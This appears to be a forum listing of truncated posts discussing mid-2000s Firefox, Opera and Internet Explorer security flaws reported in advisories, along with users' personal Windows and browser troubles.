OH NO!!! (sarcasm there) QUOTE A flaw in the way the Firefox and Opera browsers
handle an image file could allow an attacker to see what Web sites a person has visited. The
problem concerns how the two browsers handle a ".BMP," or bitmap, image file, according to an
advisory written by Gynvael Coldwind of Vexillium.org, who posted a video illustrating the problem.
A malicious bitmap file can be created that pulls other information from the browsers' memory.
Some of the information that can be captured is random, but at other times could be valuable...

I just got a new laptop, and of course it's loaded with vista. Everything works awesomly!
(my last PC was from 2001, BIG DIFF.) But the damned thing compulsivly and automatically sets
Internet Explorer to my default browser and won't let me change certain things which browsers
will typically handle. 've manually changed it so Firefox handles all the stuff except HTTPS
and what not (CANNOT CHANGE W/O HACK!), but IE just bumps in every time I want to click a link
from a non-browser based file /sad.gif" style="vertical-align:middle" emoid=":(" border="...

Well it seems firefox flaws are becoming a popular now, the two flaws that have been reported all
follow the same protocol that had posted about before; QUOTE The flaw lies in Firefox's URL
handler component.. Like the first flaw, this one could be exploited by attackers to launch
programs on the victim's PC without authorization, said Tyler Reguly, a security research
engineer at nCircle Network Security Inc. "They're both related to the URL handling process," he
said "It's just different errors within that handling process." So far it would se...

Well it has finally happen and strangely enough I didn't really think about it until now, but it
seems a security team found a very high level bug that requires both Internet Explorer 7 and
Modzilla Fire Fox. This is the jist of the bug; QUOTE The root of the matter is a Firefox
uniform resource identifier (URI) that allows Web sites to force Firefox to launch with the
"firefoxurl://" URI, Secunia reported. The way in which the URI handler is registered by Firefox
causes any parameter to be passed from IE (or another application) to Firefox when the "firefoxurl...

Well lets start off by saying these 2 people are complete morons. The first guy who had this thing
loaded up on the internet so it could be shown on how it works and not securing it so it
couldn't be downloaded. Does a home server ring a bell? guess not. second guy for downloading
it and then uploading it to his site with the excuse that "he thought it would be useful to other
security professionals looking for ways to illustrate just how dangerous a scripting attack can be."
Now this code has been found on several websites and now could be use to hijack web brow...

Windows has been acting strangely by now, it freezes/clogs badly, I can't use Opera, MF or
continue my tutorials due to this problem. It gets on my nerves as I think it was MY problem because
I deleted MOST of the files in the Temp folder. CODE (Start>Run...>%Temp%)
That folder, most of the files were deleted by me. I consulted my friend by half-screwed MSN, he
said I "effed me up the arse" by doing that. He recommended me backing up and formatting. I never
did that before so I think it will be most-likely half-impossible for me. And as I d...

To some this may seem a bit late. Firefox has released a new version that covers several critical
issues, and adds more stability. It is a wonderful alternative to Internet Exploer, and offers (in
my opinion) more security because it blocks most spyware. Article:
